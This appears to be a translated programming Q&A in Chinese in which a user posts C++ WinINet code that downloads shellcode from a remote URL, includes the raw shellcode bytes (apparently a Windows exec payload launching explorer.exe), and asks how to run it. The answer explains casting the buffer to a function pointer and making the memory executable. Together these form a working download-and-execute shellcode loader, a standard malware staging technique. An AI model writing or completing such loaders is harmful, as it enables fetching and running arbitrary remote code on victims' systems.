我已经成功创建了一个程序来使用 HTTP 下载 shellcode,但我不知道如何运行 shellcode。
#include "pch.h"
#include "explorer.h"
#include "getpaths.h"
#include "shortcut.h"
#include <iostream>
#include <windows.h>
#include <wininet.h>
#include <vector>
#include <iomanip>
#pragma comment(lib, "wininet.lib")
using namespace std;
int main() {
HINTERNET hInternet = InternetOpen(L"WinINet", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
cerr << "Failed to initialize WinINet." << endl;
return 1;
}
HINTERNET hUrl = InternetOpenUrl(hInternet, L"https://website.com/shellcode.txt", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {
cerr << "Failed to open URL." << endl;
InternetCloseHandle(hInternet);
return 1;
}
vector<unsigned char> shellcode;
char buffer[1024];
DWORD bytesRead;
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
// Append the read data to the shellcode vector
for (DWORD i = 0; i < bytesRead; ++i) {
shellcode.push_back(buffer[i]);
}
}
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
// Print out the shellcode
cout << "Shellcode:" << endl;
for (size_t i = 0; i < shellcode.size(); ++i) {
cout << shellcode[i];
}
cout << endl;
return 0;
}
下载的shellcode如下,十六进制格式: \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b \x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58 \x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59 \x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f \x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb \x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x65\x78\x65\x00
我已经尝试了几种“传统方法”,但无符号字符的转换总是存在问题,而硬编码 shellcode 作为变量则不会出现问题。
从C++的角度来看,代码和数据在某种程度上是分开的。 (可执行)代码在 C++ 中并不是真正可检查的——您可以形成函数的地址并通过这样的指针调用该函数,但您无法可移植地读取指针指向的“内容”。
同样,如果内存中有一些可执行代码作为“数据”,它在 C++ 中不会显示为可调用的“函数”。
但是,您可以通过 cast 在指向两者的指针之间进行转换,具体来说,是函数指针和对象指针之间的转换。此类转换是实现定义的,您需要知道您的目标平台。例如,在 x86_64-Linux 上,函数和对象指针具有相同的大小,您可以这样做:
using F = void(); // function type
void CallData(void* data) {
F* f = reinterpret_cast<F*>(data);
f();
}
现在,如果您在某处有一些数据,例如在
shellcode.data()
中,您可以将其传递给 CallData
,它会将数据视为函数并跳转到那里。
请注意,这将要求数据存储器可执行。现代系统不会使数据内存可执行(它是 W^X,“可写异或可执行,但不能两者都可执行”),因此您可能必须首先使内存可执行,否则调用将导致某种内存访问错误。
(您也可以进行相反的强制转换来检查某个给定函数的代码。但是,任何给定函数的长度并不那么明显;它没有明显的“结束”标记;并且
sizeof
对于以下内容无效功能。)